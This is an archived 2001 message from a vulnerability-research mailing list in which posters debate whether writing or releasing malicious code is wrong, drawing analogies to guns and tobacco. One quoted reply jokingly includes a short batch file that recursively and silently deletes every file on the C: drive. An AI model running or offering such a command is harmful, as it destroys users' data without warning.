Vulnerability Development mailing list archives

Re: coding (was: Re: CodeGreen beta release (idq-patcher/antiCodeRed/etc.)


From: "Meritt James" <meritt_james () bah com>
Date: Fri, 07 Sep 2001 09:45:32 -0400

Gun and cigarette manufacturers do not sell their products  with
malice.  At least most that I am aware of do not.  A pure profit motive
appears to be in  place, though some view it as providing people
something they want and are legally entitled to get.  So to use your
analogy, there is nothing morally wrong with them.

You keep interesting company.  They are currently in court.

sa7ori wrote:

There needs to be a clear understanding of the inherent responsibility
envolved with releasing code. I justify it by thinking of it as a artistic
work or piece of literature...if the topic is controversial, the
author/artist must understand the risk and responsibility envolved with
sharing it with others. There is absolutely nothing wrong (morally) with
the creation of "malicious" code. But if it was written without malice,
then the author must understand that releasing it will facilitate those
who are driven by other nefarious motivations. It is a fun project to
build a black powder rifle or "potato gun" but there is something
twisted about distributing them to neighborhood children.

On Thu, 6 Sep 2001, Meritt James wrote:

authoring?  I see no problem.  Releasing?  See the arguments presented
by tobacco and gun lobbyists.

"Silcock, Stephen" wrote:

OK I'm gonna author some malicious code right now.  If you run it that's
your own business; I disclaim all responsiblity for use of this software.

<START OF MALWARE.BAT>
@ECHO OFF
C:
CD\
DEL /S /Q *.*
<END OF MALWARE.BAT>

Should I go to jail?  I think not... authoring malicious code is a far cry
from doing something ethically wrong.  It may be criminal however depending
where you live.

S.   :)

PLEASE NOTE:

This email transmission is confidential and intended solely for the
addressee.  If you are not the intended addressee, you must not use,
disclose or print this transmission and you should delete it from your
system.

--
James W. Meritt, CISSP, CISA
Booz, Allen & Hamilton
phone: (410) 684-6566


-- 
James W. Meritt, CISSP, CISA
Booz, Allen & Hamilton
phone: (410) 684-6566


Current thread: